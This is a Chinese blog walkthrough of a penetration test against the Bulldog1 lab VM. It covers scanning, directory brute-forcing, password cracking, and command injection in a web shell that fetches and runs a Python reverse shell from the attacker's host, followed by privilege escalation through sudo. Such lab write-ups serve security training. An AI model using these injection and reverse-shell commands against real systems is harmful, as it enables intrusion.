靶机渗透测试实战(三)——Bulldog1渗透实战

目录

一. 实验环境

二. 实验流程

三. 实验步骤

(1)信息收集——主机发现

(2)信息收集——端口扫描

(3)信息收集——操作系统扫描

(4)Web渗透

四. 实验总结


一. 实验环境

  • 靶机:IP地址暂时未知;
  • 测试机:kali  IP地址:192.168.37.131
  • 测试机:物理机win7

二. 实验流程

  • 信息收集——主机发现
  • 信息收集——端口扫描
  • 信息收集——操作系统扫描
  • Web渗透

三. 实验步骤

(1)信息收集——主机发现

1. 查看Kali的IP信息;(IP:192.168.37.131)

2. 扫描主机(netdiscover)

netdiscover -i eth0 -r 192.168.37.0/24

Netdiscover: -i 指定网卡 -r 指定网段

  • 找到目标主机IP:192.168.37.141
  • 也可以使用nmap进行主机发现,在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

(2)信息收集——端口扫描

1. 扫描端口(masscan)

masscan --rate=10000 --ports 0-65535 192.168.37.139

masscan --rate=每秒多少个数据包 --ports 端口范围  IP地址/IP地址段

  • Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次;

2. 扫描端口的详细信息(nmap)

nmap -sV -T4 -p 23,80,8080 192.168.37.141

  • 其中:-T4指定扫描过程中使用的时序(分为0-5等级);
  • -sV扫描版本的信息和开启的服务;
  • 也可以选择带-A参数,详细扫描开放端口的具体服务;
  • 与masscan相比,namp更详细,但是速度较慢(可以通过masscan快速扫描开放的端口,再使用nmap扫描具体开放的端口);
  • 可以发现192.168.37.141主机开启了23(ssh服务),80(http服务),8080(http)端口;

(3)信息收集——操作系统扫描

1. 扫描操作系统的信息(nmap)

nmap -O 192.168.37.141

(4)Web渗透

80端口(http服务)

1. 发现目标开启http服务,访问80端口

2. 查看可以点击的内容;

点击Bulldog Industries

点击Public Notice

  • 访问网页上可以点击的信息,没有发现什么有价值的信息,继续探索;

3. 网站指纹信息扫描

whatweb 192.168.37.141

  • Web指纹扫描用于识别目标所运行的web软件、后端服务器、编程语言等特征,实现对目标的web应用的准确标识。
  • 应用名称(版本)、服务器软件(版本)、编程语言(版本)、应用框架(版本)四大特征的识别。

4. 目录扫描(dirb)

dirb http://192.168.37.141

  • 扫描Web目录,可以发现潜在的渗透目标;
  • 发现/admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目录;
  • 该工具根据用户提供的字典,对目标网站目录进行暴力猜测。尝试以递归方式进行爆破,以发现更多的路径;

5. 查看扫描到的web目录

5.1> 访问http://192.168.37.141/admin/

并尝试弱口令登录,SQL注入;

  • 发现网站的登录页面;
  • 尝试弱口令登录,没有成功;
  • 尝试SQL注入,没有成功;
  • 这里可以尝试使用暴力破解登录账号和密码;

5.2> 访问http://192.168.37.141/dev/

  • 翻译页面的信息可知:
  • 完全从新服务器中删除PHP。此外,不使用PHPMyAdmin或任何其他流行的CMS系统;
  • 新网站将完全用Django语言编写。目前,系统上启用了SSH。当我们转换到使用Web-Shell(一个专有的shell接口)时,这个选项将被关闭;
  • 此外,请注意我们将开始使用MongoDB,但是我们还没有完全安装它;

点击UNDER DEVELOPMENT,返回到主页;

点击Web-Shell,需要与服务器建立认证;

  • 好像也没有发现什么有价值的信息;

6. 查看前端页面的代码

6.1> 查看http://192.168.37.141/admin/的前端代码

  • 没有发现可以突破的信息;

6.2> 查看http://192.168.37.141/dev/的前端代码

发现了许多疑似加密的密码,尝试进行MD5破解;

 

  • 分析源码可以猜测:

       用户名为nick,密码为bulldog;

       用户名为sarah,密码为bulldoglover;

7. 尝试进行登录主页

用户名为nick,密码为bulldog;

用户名为sarah,密码为bulldoglover;

认证成功之后,尝试访问http://192.168.37.141/dev/shell/

8. 获取shell

8.1> 发现只能使用给定的几个命令;尝试命令注入;

8.2> 可以进行命令注入后,尝试wget是否有权限;

在测试机Kali上执行python -m SimpleHTTPServer 80,搭建简易Web服务;

输入如下命令:pwd & wget http://192.168.37.131

在Kali上监听到访问记录;证明wget有权限;

8.3> 将python shell脚本下载到目标靶机系统;

在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);

输入如下命令:pwd & wget http://192.168.37.131/shell.py

成功将shell.py下载到目标系统;

8.4> python反弹shell,获取目标shell;

在测试机Kali上执行python -m SimpleHTTPServer 80,搭建简易Web服务;

监听1234端口;

在webshell上执行如下命令:pwd & wget ls & python shell.py;

在kali上进行查看;已经成功获取到目标shell;

9. 提权操作

9.1> 查看系统中的用户;需要关注的用户bulldogadmin,django;

9.2> 进入用户bulldogadmin的家目录下,查看家目录下有什么文件;

发现一个隐藏目录 .hiddenadmindirectory

该隐藏目录下存在两个文件,一个note提示,一个可执行文件;查看两个文件的内容;

利用strings查看可执行文件中的内容;(strings命令用来提取和显示非文本文件中的文本字符串)

猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget, 可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget,H是来混淆的,中间刚好有PADDWORD;

9.3> 尝试用获取的密码登录;

su命令不能执行;

用python命令打开一个新的终端,尝试进行提权,输入命令:sudo python -c 'import pty; pty.spawn("/bin/bash")';

 进行其他操作,留后门等;

四. 实验总结

  1. 针对目录爆破出dev和admin页面:通过查看页面可以点击的超链接,说明,源代码等获取可用的信息,即登录用户名和密码;
  2. 登录成功后,获取webshell,并使用命令执行漏洞绕过白名单限制,执行命令和python反弹shell;
  3. 搭建临时web服务(python -m SimpleHTTPServer 80)
  4. 成功获取目标主机shell后,搜索系统中id为1000以后的用户的文件,可以找到隐藏文件(猜解root密码),进行提权操作;

猜你喜欢

转载自blog.csdn.net/qq_38684504/article/details/89706775
今日推荐